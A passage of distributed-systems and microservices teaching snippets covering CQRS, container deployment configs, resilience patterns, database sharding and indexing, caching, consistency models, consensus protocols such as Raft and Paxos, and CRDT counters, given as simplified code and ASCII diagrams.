      orderId: order.id,
      userId: order.userId,
      items: order.items
    });

    return order.id;
  }
}

// Read Model (Queries)
class OrderReadService {
  constructor(readDatabase) {
    this.db = readDatabase;
  }

  async getOrderById(orderId) {
    return await this.db.orders.findOne({ id: orderId });
  }

  async getOrdersByUser(userId) {
    return await this.db.orders.find({ userId });
  }
}

// Event Handler (updates read model)
eventBus.on('OrderCreated', async (event) => {
  await readDatabase.orders.insert({
    id: event.orderId,
    userId: event.userId,
    items: event.items,
    createdAt: new Date()
  });
});

version: '3.8'

services:
  api-gateway:
    build: ./api-gateway
    ports:
      - "3000:3000"
    environment:
      USER_SERVICE_URL: http://user-service:3001
      ORDER_SERVICE_URL: http://order-service:3002
    depends_on:
      - user-service
      - order-service

  user-service:
    build: ./user-service
    environment:
      DATABASE_URL: postgresql://postgres:password@user-db:5432/users
    depends_on:
      - user-db

  order-service:
    build: ./order-service
    environment:
      DATABASE_URL: mongodb://order-db:27017/orders
      KAFKA_BROKERS: kafka:9092
    depends_on:
      - order-db
      - kafka

  user-db:
    image: postgres:15
    environment:
      POSTGRES_PASSWORD: password

  order-db:
    image: mongo:6

  kafka:
    image: confluentinc/cp-kafka:latest

# order-service-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: order-service
spec:
  replicas: 3
  selector:
    matchLabels:
      app: order-service
  template:
    metadata:
      labels:
        app: order-service
    spec:
      containers:
      - name: order-service
        image: myregistry/order-service:1.0.0
        ports:
        - containerPort: 3000
        env:
        - name: DATABASE_URL
          valueFrom:
            secretKeyRef:
              name: order-service-secrets
              key: database-url
        resources:
          requests:
            memory: "128Mi"
            cpu: "100m"
          limits:
            memory: "512Mi"
            cpu: "500m"
        livenessProbe:
          httpGet:
            path: /health
            port: 3000
          initialDelaySeconds: 30
          periodSeconds: 10
        readinessProbe:
          httpGet:
            path: /ready
            port: 3000
          initialDelaySeconds: 5
          periodSeconds: 5
---
apiVersion: v1
kind: Service
metadata:
  name: order-service
spec:
  selector:
    app: order-service
  ports:
  - port: 80
    targetPort: 3000
  type: ClusterIP

const CircuitBreaker = require('opossum');

const options = {
  timeout: 3000,
  errorThresholdPercentage: 50,
  resetTimeout: 30000
};

const breaker = new CircuitBreaker(callExternalService, options);

breaker.fallback(() => ({ fallback: 'value' }));

breaker.on('open', () => console.log('Circuit opened'));
breaker.on('halfOpen', () => console.log('Circuit half-open'));
breaker.on('close', () => console.log('Circuit closed'));

async function callExternalService() {
  const response = await axios.get('http://external-service/api');
  return response.data;
}

// Usage
try {
  const result = await breaker.fire();
  console.log(result);
} catch (error) {
  console.error('Service call failed');
}

const express = require('express');
const app = express();

app.get('/health', async (req, res) => {
  const health = {
    uptime: process.uptime(),
    message: 'OK',
    timestamp: Date.now()
  };

  try {
    // Check database connection
    await database.ping();
    health.database = 'connected';
  } catch (error) {
    health.database = 'disconnected';
    health.message = 'Degraded';
    return res.status(503).json(health);
  }

  res.json(health);
});

app.get('/ready', async (req, res) => {
  try {
    // Check if service is ready to accept traffic
    await database.ping();
    await cache.ping();

    res.json({ status: 'ready' });
  } catch (error) {
    res.status(503).json({ status: 'not ready' });
  }
});

const { trace } = require('@opentelemetry/api');
const { NodeTracerProvider } = require('@opentelemetry/sdk-trace-node');

const provider = new NodeTracerProvider();
provider.register();

const tracer = trace.getTracer('order-service');

async function createOrder(orderData) {
  const span = tracer.startSpan('createOrder');

  try {
    // Add attributes
    span.setAttribute('user.id', orderData.userId);
    span.setAttribute('order.total', orderData.total);

    // Business logic
    const order = await Order.create(orderData);

    span.setStatus({ code: 0 }); // OK
    return order;
  } catch (error) {
    span.setStatus({
      code: 2, // ERROR
      message: error.message
    });
    throw error;
  } finally {
    span.end();
  }
}

const winston = require('winston');

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  defaultMeta: {
    service: 'order-service',
    version: '1.0.0'
  },
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'combined.log' })
  ]
});

// Structured logging
logger.info('Order created', {
  orderId: order.id,
  userId: order.userId,
  total: order.total,
  timestamp: Date.now()
});

// Use events to propagate data changes
await publishEvent('user.updated', { userId, email: newEmail });

// Other services listen and update their local views
consumer.on('user.updated', async (event) => {
  await updateLocalUserCache(event.userId, event.email);
});

async function callServiceWithRetry(fn, maxRetries = 3) {
  for (let i = 0; i < maxRetries; i++) {
    try {
      return await fn();
    } catch (error) {
      if (i === maxRetries - 1) throw error;
      await sleep(Math.pow(2, i) * 1000);
    }
  }
}

// Contract test (using Pact)
const { Pact } = require('@pact-foundation/pact');

const provider = new Pact({
  consumer: 'order-service',
  provider: 'user-service'
});

describe('User Service Contract', () => {
  it('should get user by ID', async () => {
    await provider.addInteraction({
      state: 'user 123 exists',
      uponReceiving: 'a request for user 123',
      withRequest: {
        method: 'GET',
        path: '/users/123'
      },
      willRespondWith: {
        status: 200,
        body: { id: 123, name: 'John' }
      }
    });

    // Test your client code
    const user = await userClient.getUser(123);
    expect(user.id).toBe(123);
  });
});

┌─────────────────────────┐
│ Users Table             │
├─────┬──────────┬────────┤
│ ID  │ Name     │ Email  │
├─────┼──────────┼────────┤
│ 1   │ Alice    │ a@...  │
│ 2   │ Bob      │ b@...  │
└─────┴──────────┴────────┘

{
  "id": "123",
  "name": "Alice",
  "email": "alice@example.com",
  "preferences": {
    "theme": "dark",
    "notifications": true
  }
}

user:123 → {"name": "Alice", "email": "..."}
session:abc → {"userId": 123, "expires": ...}

Row Key: user123
├─ profile:name = "Alice"
├─ profile:email = "alice@..."
├─ activity:last_login = "2025-01-15"
└─ activity:login_count = 42

(Alice)-[:FOLLOWS]->(Bob)
(Alice)-[:LIKES]->(Post1)
(Bob)-[:CREATED]->(Post1)

BEGIN TRANSACTION;
  UPDATE accounts SET balance = balance - 100 WHERE id = 1;
  UPDATE accounts SET balance = balance + 100 WHERE id = 2;
COMMIT;
-- Both succeed or both fail

Time 0: Write to Node A → value = 100
Time 1: Node B still has → value = 50 (stale)
Time 2: Replication complete → value = 100 (consistent)

         Master (Write)
         /      |      \
        /       |       \
    Slave1   Slave2   Slave3
    (Read)   (Read)   (Read)

# Write to master
master_db.execute("INSERT INTO users VALUES (...)")

# Read from replica
replica_db.execute("SELECT * FROM users WHERE id = 1")

    Master1 ←→ Master2
      ↕            ↕
   Writes       Writes

# Can write to either
db1.write("user:123", data)
db2.write("user:456", data)
# Sync between masters

Write → Master → Wait for Slaves → Ack
(Slow but consistent)

Write → Master → Ack (fast)
             ↓
        Replicate later

Write → Master → Wait for 1 Slave → Ack
             ↓
        Others async

Shard 1: Users 0-999
  ├─ user:0
  ├─ user:500
  └─ user:999

Shard 2: Users 1000-1999
  ├─ user:1000
  └─ user:1999

Shard 3: Users 2000-2999
  ├─ user:2000
  └─ user:2999

def get_shard(user_id):
    shard_num = user_id // 1000
    return shards[shard_num]

# Route to correct shard
shard = get_shard(user_id=1500)  # → Shard 2
user = shard.query("SELECT * FROM users WHERE id = 1500")

def get_shard(key):
    hash_value = hash(key)
    shard_num = hash_value % num_shards
    return shards[shard_num]

# Example
get_shard("user_alice")  # → hash → 42 → shard 2
get_shard("user_bob")    # → hash → 17 → shard 1

Shard 1: A-H (Alice, Bob, Charlie...)
Shard 2: I-P (Ian, John, Kate...)
Shard 3: Q-Z (Quinn, Rachel, Steve...)

Shard US-East: Users in US East
Shard US-West: Users in US West
Shard EU: Users in Europe
Shard ASIA: Users in Asia

Shard 1: User profiles
  ├─ users table
  └─ profiles table

Shard 2: User activity
  ├─ posts table
  ├─ comments table
  └─ likes table

CREATE TABLE orders (
    id INT,
    region VARCHAR(50)
) PARTITION BY LIST (region) (
    PARTITION p_north VALUES IN ('NY', 'MA', 'CT'),
    PARTITION p_south VALUES IN ('TX', 'FL', 'GA'),
    PARTITION p_west VALUES IN ('CA', 'OR', 'WA')
);

CREATE TABLE sales (
    id INT,
    sale_date DATE
) PARTITION BY RANGE (YEAR(sale_date)) (
    PARTITION p_2023 VALUES LESS THAN (2024),
    PARTITION p_2024 VALUES LESS THAN (2025),
    PARTITION p_2025 VALUES LESS THAN (2026)
);

CREATE TABLE users (
    id INT,
    name VARCHAR(100)
) PARTITION BY HASH(id)
PARTITIONS 4;

        [50]
       /    \
   [25]      [75]
   /  \      /  \
[10][40] [60][90]

CREATE INDEX idx_name ON users(name);
SELECT * FROM users WHERE name BETWEEN 'A' AND 'M';

hash(key) → bucket
user:123 → bucket 5
user:456 → bucket 2

CREATE INDEX idx_email USING HASH ON users(email);
SELECT * FROM users WHERE email = 'alice@example.com';

CREATE INDEX idx_name_age ON users(name, age);

-- Fast
SELECT * FROM users WHERE name = 'Alice' AND age = 30;

-- Fast (leftmost prefix)
SELECT * FROM users WHERE name = 'Alice';

-- Slow (missing leftmost)
SELECT * FROM users WHERE age = 30;

CREATE FULLTEXT INDEX idx_content ON posts(content);

SELECT * FROM posts
WHERE MATCH(content) AGAINST('database sharding');

EXPLAIN SELECT * FROM users
WHERE email = 'alice@example.com';

-- Output shows:
-- type: index (good)
-- rows: 1 (good)
-- type: ALL (bad - full scan)

# 1 query for posts
posts = db.query("SELECT * FROM posts")
# N queries for users
for post in posts:
    user = db.query("SELECT * FROM users WHERE id = ?", post.user_id)

# 1 query with JOIN
posts = db.query("""
    SELECT posts.*, users.name
    FROM posts
    JOIN users ON posts.user_id = users.id
""")

SELECT * FROM posts
ORDER BY created_at DESC
LIMIT 1000 OFFSET 100000;  -- Slow!

SELECT * FROM posts
WHERE created_at < '2025-01-01 12:00:00'
ORDER BY created_at DESC
LIMIT 1000;

from psycopg2 import pool

# Create pool
db_pool = pool.SimpleConnectionPool(
    minconn=1,
    maxconn=20,
    host='localhost',
    database='myapp'
)

# Get connection from pool
conn = db_pool.getconn()
cursor = conn.cursor()
cursor.execute("SELECT * FROM users")
results = cursor.fetchall()

# Return to pool
db_pool.putconn(conn)

1. Write change to log (durable)
2. Apply change to database
3. Mark log entry as complete

CREATE MATERIALIZED VIEW user_stats AS
SELECT
    user_id,
    COUNT(*) as post_count,
    MAX(created_at) as last_post
FROM posts
GROUP BY user_id;

-- Refresh periodically
REFRESH MATERIALIZED VIEW user_stats;

Service A → Database A
Service B → Database B
Service C → Database C

-- Slow
INSERT INTO users VALUES (1, 'Alice');
INSERT INTO users VALUES (2, 'Bob');
INSERT INTO users VALUES (3, 'Charlie');

-- Fast
INSERT INTO users VALUES
    (1, 'Alice'),
    (2, 'Bob'),
    (3, 'Charlie');

ALTER TABLE users ADD COLUMN deleted_at TIMESTAMP;

-- "Delete"
UPDATE users SET deleted_at = NOW() WHERE id = 123;

-- Query active users
SELECT * FROM users WHERE deleted_at IS NULL;

CREATE TABLE audit_log (
    id INT PRIMARY KEY,
    table_name VARCHAR(50),
    record_id INT,
    action VARCHAR(10),
    old_value JSON,
    new_value JSON,
    changed_by INT,
    changed_at TIMESTAMP
);

-- Trigger on update
CREATE TRIGGER audit_users
AFTER UPDATE ON users
FOR EACH ROW
    INSERT INTO audit_log VALUES (...);

Mobile App  ─┐
Web App     ─┼─→ API Gateway ─┬─→ User Service
Desktop App ─┘                ├─→ Order Service
                              ├─→ Payment Service
                              └─→ Notification Service

# API Gateway example
class APIGateway:
    def __init__(self):
        self.services = {
            '/users': UserService(),
            '/orders': OrderService(),
            '/payments': PaymentService()
        }

    def handle_request(self, request):
        # Authentication
        if not self.authenticate(request):
            return 401, "Unauthorized"

        # Rate limiting
        if not self.check_rate_limit(request.user_id):
            return 429, "Too Many Requests"

        # Route to service
        service = self.find_service(request.path)
        response = service.handle(request)

        # Transform response
        return self.transform_response(response)

Mobile App → Mobile BFF ─┐
                         ├─→ Microservices
Web App → Web BFF ───────┘

# Mobile BFF - lightweight responses
class MobileBFF:
    def get_user_dashboard(self, user_id):
        user = user_service.get(user_id)
        orders = order_service.get_recent(user_id, limit=5)

        return {
            'name': user.name,
            'recent_orders': [
                {'id': o.id, 'total': o.total}
                for o in orders
            ]
        }

# Web BFF - detailed responses
class WebBFF:
    def get_user_dashboard(self, user_id):
        user = user_service.get(user_id)
        orders = order_service.get_all(user_id)
        analytics = analytics_service.get(user_id)

        return {
            'user': user.to_dict(),
            'orders': [o.to_dict() for o in orders],
            'analytics': analytics.to_dict()
        }

Service A ←→ Sidecar Proxy ←→ Service Mesh ←→ Sidecar Proxy ←→ Service B

Closed (Normal) → Failures → Open (Reject immediately) → Timer → Half-Open (Try again)
                                                                         ↓
                                                                   Success → Closed
                                                                   Failure → Open

class CircuitBreaker:
    def __init__(self, failure_threshold=5, timeout=60):
        self.failure_threshold = failure_threshold
        self.timeout = timeout
        self.failures = 0
        self.state = "closed"
        self.last_failure_time = None

    def call(self, func, *args, **kwargs):
        if self.state == "open":
            if time.time() - self.last_failure_time > self.timeout:
                self.state = "half-open"
            else:
                raise CircuitBreakerOpenError("Circuit breaker is open")

        try:
            result = func(*args, **kwargs)

            # Success
            if self.state == "half-open":
                self.state = "closed"
                self.failures = 0

            return result

        except Exception as e:
            self.failures += 1
            self.last_failure_time = time.time()

            if self.failures >= self.failure_threshold:
                self.state = "open"

            raise e

# Usage
breaker = CircuitBreaker(failure_threshold=5, timeout=60)

try:
    result = breaker.call(external_service.fetch_data, user_id)
except CircuitBreakerOpenError:
    # Fallback to cache or default value
    result = get_cached_data(user_id)

import time
import random

def retry_with_backoff(func, max_retries=3, base_delay=1):
    for attempt in range(max_retries):
        try:
            return func()
        except Exception as e:
            if attempt == max_retries - 1:
                raise e

            # Exponential backoff: 1s, 2s, 4s, 8s...
            delay = base_delay * (2 ** attempt)

            # Add jitter to prevent thundering herd
            jitter = random.uniform(0, delay * 0.1)

            time.sleep(delay + jitter)

# Usage
result = retry_with_backoff(
    lambda: api.call_external_service(),
    max_retries=3,
    base_delay=1
)

Thread Pool A (50 threads) → Service A
Thread Pool B (50 threads) → Service B
Thread Pool C (50 threads) → Service C

If Service A fails, pools B and C unaffected

from concurrent.futures import ThreadPoolExecutor

class Bulkhead:
    def __init__(self):
        self.pools = {
            'user_service': ThreadPoolExecutor(max_workers=20),
            'order_service': ThreadPoolExecutor(max_workers=30),
            'payment_service': ThreadPoolExecutor(max_workers=10)
        }

    def execute(self, service_name, func, *args):
        pool = self.pools[service_name]
        future = pool.submit(func, *args)
        return future.result(timeout=5)

# Usage
bulkhead = Bulkhead()

try:
    user = bulkhead.execute('user_service', get_user, user_id)
    orders = bulkhead.execute('order_service', get_orders, user_id)
except TimeoutError:
    # Handle timeout
    pass

import signal

class TimeoutError(Exception):
    pass

def timeout_handler(signum, frame):
    raise TimeoutError("Operation timed out")

def with_timeout(func, timeout_seconds):
    # Set timeout
    signal.signal(signal.SIGALRM, timeout_handler)
    signal.alarm(timeout_seconds)

    try:
        result = func()
        signal.alarm(0)  # Cancel timeout
        return result
    except TimeoutError:
        # Handle timeout
        return None

# Or with threading
import threading

def with_timeout_thread(func, args=(), timeout=5):
    result = [None]
    exception = [None]

    def target():
        try:
            result[0] = func(*args)
        except Exception as e:
            exception[0] = e

    thread = threading.Thread(target=target)
    thread.start()
    thread.join(timeout)

    if thread.is_alive():
        # Timeout occurred
        return None
    elif exception[0]:
        raise exception[0]
    else:
        return result[0]

def get_user_profile(user_id):
    try:
        # Try primary source
        return primary_db.get_user(user_id)
    except DatabaseError:
        try:
            # Fallback to cache
            return cache.get(f"user:{user_id}")
        except CacheError:
            # Fallback to default
            return {
                'id': user_id,
                'name': 'Unknown User',
                'status': 'unavailable'
            }

User Service → User DB
Order Service → Order DB
Payment Service → Payment DB

# User Service
class UserService:
    def __init__(self):
        self.db = UserDatabase()

    def create_user(self, user_data):
        return self.db.insert(user_data)

# Order Service
class OrderService:
    def __init__(self):
        self.db = OrderDatabase()

    def create_order(self, order_data):
        # Need user data? Call User Service API
        user = user_service_client.get_user(order_data['user_id'])
        return self.db.insert(order_data)

User Service ─┐
              ├─→ Shared DB
Order Service ─┘

Commands (Write) → Write Model → Event Store
                                      ↓
                                  Events
                                      ↓
                                 Read Model ← Queries (Read)

# Write Model - optimized for writes
class WriteModel:
    def create_order(self, order_data):
        order = Order(**order_data)
        self.validate(order)

        # Store as event
        event = {
            'type': 'OrderCreated',
            'data': order_data,
            'timestamp': now()
        }
        event_store.append(event)

        # Publish event
        event_bus.publish(event)

# Read Model - optimized for reads
class ReadModel:
    def __init__(self):
        self.db = ReadDatabase()  # Denormalized, fast queries

    def get_order_summary(self, user_id):
        # Pre-computed summary
        return self.db.query(
            "SELECT * FROM order_summary WHERE user_id = ?",
            user_id
        )

# Event handler updates read model
@event_handler('OrderCreated')
def update_read_model(event):
    order = event['data']

    # Update denormalized views
    read_db.execute("""
        INSERT INTO order_summary (user_id, order_count, total_spent)
        VALUES (?, 1, ?)
        ON CONFLICT (user_id) DO UPDATE
            SET order_count = order_count + 1,
                total_spent = total_spent + ?
    """, order['user_id'], order['total'], order['total'])

Event 1: OrderCreated(id=123, items=[...], total=99.99)
Event 2: OrderPaid(id=123, payment_id=456)
Event 3: OrderShipped(id=123, tracking=789)

Current State = Replay events

class OrderEventStore:
    def __init__(self):
        self.events = []

    def append(self, event):
        event['version'] = len(self.events)
        event['timestamp'] = now()
        self.events.append(event)

    def get_state(self, order_id):
        # Rebuild state from events
        order = None

        for event in self.events:
            if event.get('order_id') != order_id:
                continue

            if event['type'] == 'OrderCreated':
                order = {
                    'id': event['order_id'],
                    'items': event['items'],
                    'total': event['total'],
                    'status': 'pending'
                }
            elif event['type'] == 'OrderPaid':
                order['status'] = 'paid'
                order['payment_id'] = event['payment_id']
            elif event['type'] == 'OrderShipped':
                order['status'] = 'shipped'
                order['tracking'] = event['tracking']

        return order

Step 1: Reserve Inventory → Success
Step 2: Charge Payment → Success
Step 3: Create Shipment → Failure
  ↓
Compensate: Refund Payment
Compensate: Release Inventory

class OrderSaga:
    def __init__(self):
        self.completed_steps = []

    def execute(self, order):
        try:
            # Step 1
            inventory = inventory_service.reserve(order.items)
            self.completed_steps.append(('inventory', inventory))

            # Step 2
            payment = payment_service.charge(order.total)
            self.completed_steps.append(('payment', payment))

            # Step 3
            shipment = shipping_service.create(order)
            self.completed_steps.append(('shipment', shipment))

            return success

        except Exception as e:
            # Compensate in reverse order
            self.compensate()
            raise e

    def compensate(self):
        for step_type, step_data in reversed(self.completed_steps):
            if step_type == 'shipment':
                shipping_service.cancel(step_data)
            elif step_type == 'payment':
                payment_service.refund(step_data)
            elif step_type == 'inventory':
                inventory_service.release(step_data)

# Each service listens to events and reacts

@event_handler('OrderCreated')
def reserve_inventory(event):
    try:
        inventory_service.reserve(event['items'])
        publish('InventoryReserved', event['order_id'])
    except Exception:
        publish('InventoryReservationFailed', event['order_id'])

@event_handler('InventoryReserved')
def charge_payment(event):
    try:
        payment_service.charge(event['total'])
        publish('PaymentCharged', event['order_id'])
    except Exception:
        publish('PaymentFailed', event['order_id'])
        # Trigger compensation
        publish('ReleaseInventory', event['order_id'])

@event_handler('PaymentCharged')
def create_shipment(event):
    try:
        shipping_service.create(event['order_id'])
        publish('OrderCompleted', event['order_id'])
    except Exception:
        publish('ShipmentFailed', event['order_id'])
        # Trigger compensation
        publish('RefundPayment', event['order_id'])
        publish('ReleaseInventory', event['order_id'])

def get_user(user_id):
    # Check cache
    cached = cache.get(f"user:{user_id}")
    if cached:
        return cached

    # Load from DB
    user = db.get_user(user_id)

    # Store in cache
    cache.set(f"user:{user_id}", user, ttl=3600)

    return user

class ReadThroughCache:
    def get(self, key, loader_func):
        cached = self.cache.get(key)
        if cached:
            return cached

        # Cache loads from DB automatically
        value = loader_func()
        self.cache.set(key, value)
        return value

# Usage
user = cache.get(
    f"user:{user_id}",
    lambda: db.get_user(user_id)
)

def update_user(user_id, data):
    # Update DB
    db.update_user(user_id, data)

    # Update cache
    cache.set(f"user:{user_id}", data)

def update_user(user_id, data):
    # Update cache immediately
    cache.set(f"user:{user_id}", data)

    # Queue DB update
    queue.send({
        'action': 'update_user',
        'user_id': user_id,
        'data': data
    })

    return success  # Fast response

       Load Balancer
      /      |      \
  Server1 Server2 Server3

# Round Robin
class RoundRobinLB:
    def __init__(self, servers):
        self.servers = servers
        self.current = 0

    def get_server(self):
        server = self.servers[self.current]
        self.current = (self.current + 1) % len(self.servers)
        return server

# Least Connections
class LeastConnectionsLB:
    def __init__(self, servers):
        self.servers = servers
        self.connections = {s: 0 for s in servers}

    def get_server(self):
        return min(self.connections, key=self.connections.get)

    def on_request_complete(self, server):
        self.connections[server] -= 1

# Weighted
class WeightedLB:
    def __init__(self, servers_with_weights):
        self.servers = []
        for server, weight in servers_with_weights:
            self.servers.extend([server] * weight)

    def get_server(self):
        return random.choice(self.servers)

# Stateless service - easy to scale
class StatelessAPI:
    def handle_request(self, request):
        # No local state, can run on any server
        data = db.query(request.query)
        return data

# Deploy multiple instances
instances = [
    StatelessAPI(),
    StatelessAPI(),
    StatelessAPI()
]

# Load balancer distributes requests
lb = LoadBalancer(instances)

class AutoScaler:
    def __init__(self, min_instances=2, max_instances=10):
        self.min = min_instances
        self.max = max_instances
        self.instances = []

    def check_metrics(self):
        cpu_usage = get_average_cpu()
        request_rate = get_request_rate()

        if cpu_usage > 80 and len(self.instances) < self.max:
            self.scale_up()
        elif cpu_usage < 20 and len(self.instances) > self.min:
            self.scale_down()

    def scale_up(self):
        new_instance = create_instance()
        self.instances.append(new_instance)
        lb.add_server(new_instance)

    def scale_down(self):
        instance = self.instances.pop()
        lb.remove_server(instance)
        instance.graceful_shutdown()

import uuid

class Tracer:
    def start_trace(self, operation_name):
        trace_id = str(uuid.uuid4())
        span_id = str(uuid.uuid4())

        return {
            'trace_id': trace_id,
            'span_id': span_id,
            'operation': operation_name,
            'start_time': time.time()
        }

    def inject(self, span, request):
        # Add trace context to outgoing request
        request.headers['X-Trace-ID'] = span['trace_id']
        request.headers['X-Span-ID'] = span['span_id']

    def extract(self, request):
        # Extract trace context from incoming request
        return {
            'trace_id': request.headers.get('X-Trace-ID'),
            'parent_span_id': request.headers.get('X-Span-ID')
        }

# Service A
def handle_request(request):
    span = tracer.start_trace('handle_request')

    # Call Service B
    b_request = prepare_request()
    tracer.inject(span, b_request)
    response = service_b.call(b_request)

    tracer.finish(span)

@app.get('/health')
def health_check():
    checks = {
        'database': check_database(),
        'cache': check_cache(),
        'external_api': check_external_api()
    }

    all_healthy = all(checks.values())

    return {
        'status': 'healthy' if all_healthy else 'unhealthy',
        'checks': checks
    }, 200 if all_healthy else 503

def check_database():
    try:
        db.execute("SELECT 1")
        return True
    except Exception:
        return False

from prometheus_client import Counter, Histogram, Gauge

# Counters - always increasing
request_count = Counter(
    'http_requests_total',
    'Total HTTP requests',
    ['method', 'endpoint', 'status']
)

# Histograms - measure distributions
request_duration = Histogram(
    'http_request_duration_seconds',
    'HTTP request duration',
    ['method', 'endpoint']
)

# Gauges - current value
active_connections = Gauge(
    'active_connections',
    'Number of active connections'
)

# Usage
@app.route('/api/users')
def get_users():
    with request_duration.labels('GET', '/api/users').time():
        users = db.query("SELECT * FROM users")

    request_count.labels('GET', '/api/users', 200).inc()

    return users

       Consistency
          /  \
         /    \
        /  ??  \
       /________\
Availability   Partition
              Tolerance

Write X=5 to Node A
  ↓
Node A, B, C all show X=5 immediately

Request → Node → Response (always)
(even if stale data)

Network Split:
  [Node A, B]  |  [Node C, D]
     ↑                  ↑
  Can't communicate but both keep running

Network partition detected
  ↓
System becomes unavailable (refuse requests)
  ↓
Maintain consistency (no stale reads)

Network partition detected
  ↓
Both partitions keep serving requests
  ↓
Data diverges (eventually consistent)

Single datacenter, reliable network
  ↓
All nodes always agree
  ↓
(Not realistic for distributed systems)

Time 0: Write X=5 to Node A
Time 1: Read from Node B → Returns X=5 (latest)
Time 2: Write X=10 to Node A
Time 3: Read from Node B → Returns X=10 (latest)

def write(key, value):
    # Write to all nodes
    for node in nodes:
        node.write(key, value)
        wait_for_ack(node)  # Block until confirmed

    return success

def read(key):
    # Read from majority
    values = []
    for node in majority_nodes:
        values.append(node.read(key))

    # Return latest version
    return max(values, key=lambda v: v.timestamp)

Time 0: Write X=5 to Node A
Time 1: Read from Node B → Returns X=1 (stale, not replicated yet)
Time 2: Replication completes
Time 3: Read from Node B → Returns X=5 (consistent)

def write(key, value):
    # Write to primary
    primary.write(key, value)

    # Async replicate to others
    async_replicate(key, value)

    return success  # Don't wait

def async_replicate(key, value):
    for node in replica_nodes:
        background_task.queue({
            'action': 'replicate',
            'node': node,
            'key': key,
            'value': value
        })

User A writes Post → User B reads Post → User B writes Comment
  ↓                      ↓                       ↓
All nodes see Post before Comment

# Vector clocks for causality
class VectorClock:
    def __init__(self):
        self.clocks = {}  # {node_id: counter}

    def increment(self, node_id):
        self.clocks[node_id] = self.clocks.get(node_id, 0) + 1

    def merge(self, other):
        for node_id, counter in other.clocks.items():
            self.clocks[node_id] = max(
                self.clocks.get(node_id, 0),
                counter
            )

    def happens_before(self, other):
        # True if self happened before other
        return all(
            self.clocks.get(k, 0) <= other.clocks.get(k, 0)
            for k in set(self.clocks) | set(other.clocks)
        )

User writes X=5
  ↓
Same user reads → Gets X=5 (consistent)
  ↓
Other users read → May get old value (eventual)

def write(key, value, user_id):
    version = primary.write(key, value)

    # Cache user's write version
    user_versions[user_id][key] = version

    return success

def read(key, user_id):
    # Check if user has written this key
    if key in user_versions.get(user_id, {}):
        # Read from primary to get latest
        return primary.read(key)
    else:
        # Can read from any replica
        return random.choice(replicas).read(key)

Time 1: Read X=5
Time 2: Read X=10 (newer) ✓
Time 3: Read X=5 (older) ✗ Not allowed

# Sticky sessions - always read from same replica
def read(key, session_id):
    replica = get_sticky_replica(session_id)
    return replica.read(key)

def get_sticky_replica(session_id):
    # Hash session to consistent replica
    replica_id = hash(session_id) % num_replicas
    return replicas[replica_id]

Phase 1: PREPARE
Coordinator → All Participants: "Can you commit?"
Participants → Coordinator: "Yes" or "No"

Phase 2: COMMIT
If all "Yes":
  Coordinator → All: "Commit!"
  Participants commit
Else:
  Coordinator → All: "Abort!"
  Participants rollback

class TwoPhaseCommit:
    def __init__(self, coordinator, participants):
        self.coordinator = coordinator
        self.participants = participants

    def execute_transaction(self, transaction):
        # Phase 1: Prepare
        votes = []
        for participant in self.participants:
            vote = participant.prepare(transaction)
            votes.append(vote)

        # Phase 2: Commit or Abort
        if all(votes):
            # All voted yes - commit
            for participant in self.participants:
                participant.commit(transaction)
            return "committed"
        else:
            # Someone voted no - abort
            for participant in self.participants:
                participant.abort(transaction)
            return "aborted"

Phase 1: PREPARE (can commit?)
Phase 2: PRE-COMMIT (will commit)
Phase 3: COMMIT (do commit)

Proposer → Prepare(N)
  ↓
Acceptors → Promise(N, LastValue)
  ↓
Proposer → Accept(N, Value)
  ↓
Acceptors → Accepted(N, Value)
  ↓
Learners learn chosen value

1. Leader Election
   Nodes elect a leader via voting

2. Log Replication
   Leader receives writes
   Leader replicates to followers
   Commits once majority acknowledges

3. Safety
   Only nodes with up-to-date logs can be leader

class RaftNode:
    def __init__(self):
        self.state = "follower"  # follower, candidate, leader
        self.current_term = 0
        self.voted_for = None
        self.log = []

    def start_election(self):
        self.state = "candidate"
        self.current_term += 1
        self.voted_for = self.id

        votes = 1  # Vote for self
        for peer in self.peers:
            if peer.request_vote(self.current_term, self.id):
                votes += 1

        if votes > len(self.peers) / 2:
            self.become_leader()

    def become_leader(self):
        self.state = "leader"
        # Send heartbeats to maintain leadership

    def append_entry(self, entry):
        if self.state != "leader":
            return redirect_to_leader()

        self.log.append(entry)

        # Replicate to majority
        acks = 1  # Self
        for peer in self.peers:
            if peer.append_entries(self.current_term, entry):
                acks += 1

        if acks > len(self.peers) / 2:
            # Committed
            return success
        else:
            return failure

N = 5 nodes
W = 3 (write quorum - must write to 3)
R = 3 (read quorum - must read from 3)

W + R > N ensures read sees latest write

class QuorumStore:
    def __init__(self, nodes, write_quorum, read_quorum):
        self.nodes = nodes
        self.W = write_quorum
        self.R = read_quorum

    def write(self, key, value):
        version = get_next_version()

        acks = 0
        for node in self.nodes:
            if node.write(key, value, version):
                acks += 1
                if acks >= self.W:
                    return success

        return failure  # Couldn't reach quorum

    def read(self, key):
        values = []

        for node in self.nodes:
            result = node.read(key)
            if result:
                values.append(result)
                if len(values) >= self.R:
                    break

        if len(values) < self.R:
            return failure

        # Return value with highest version
        return max(values, key=lambda v: v.version)

Node A: Write X=5 at time=100
Node B: Write X=10 at time=105
  ↓
Merge: Keep X=10 (latest timestamp)

Node A writes: X=5, Clock={A:1}
Node B writes: X=10, Clock={B:1}
  ↓
Conflict detected (concurrent writes)
  ↓
Application resolves (merge, last-write-wins, etc.)

# Detect conflict with vector clocks
def is_concurrent(clock1, clock2):
    not_before = any(
        clock1.get(k, 0) > clock2.get(k, 0)
        for k in clock1
    )
    not_after = any(
        clock2.get(k, 0) > clock1.get(k, 0)
        for k in clock2
    )
    return not_before and not_after

# Example
v1 = {A: 1, B: 2}
v2 = {A: 1, B: 3}
is_concurrent(v1, v2)  # False (v2 after v1)

v1 = {A: 2, B: 1}
v2 = {A: 1, B: 2}
is_concurrent(v1, v2)  # True (concurrent)

class GCounter:
    def __init__(self, node_id):
        self.node_id = node_id
        self.counts = {}  # {node_id: count}

    def increment(self):
        self.counts[self.node_id] = self.counts.get(self.node_id, 0) + 1

    def value(self):
        return sum(self.counts.values())

    def merge(self, other):
        for node_id, count in other.counts.items():
            self.counts[node_id] = max(
                self.counts.get(node_id, 0),
                count
            )

class PNCounter:
    def __init__(self, node_id):
        self.increments = GCounter(node_id)
        self.decrements = GCounter(node_id)

    def increment(self):
        self.increments.increment()

    def decrement(self):
        self.decrements.increment()

    def value(self):
        return self.increments.value() - self.decrements.value()

    def merge(self, other):
        self.increments.merge(other.increments)
        self.decrements.merge(other.decrements)

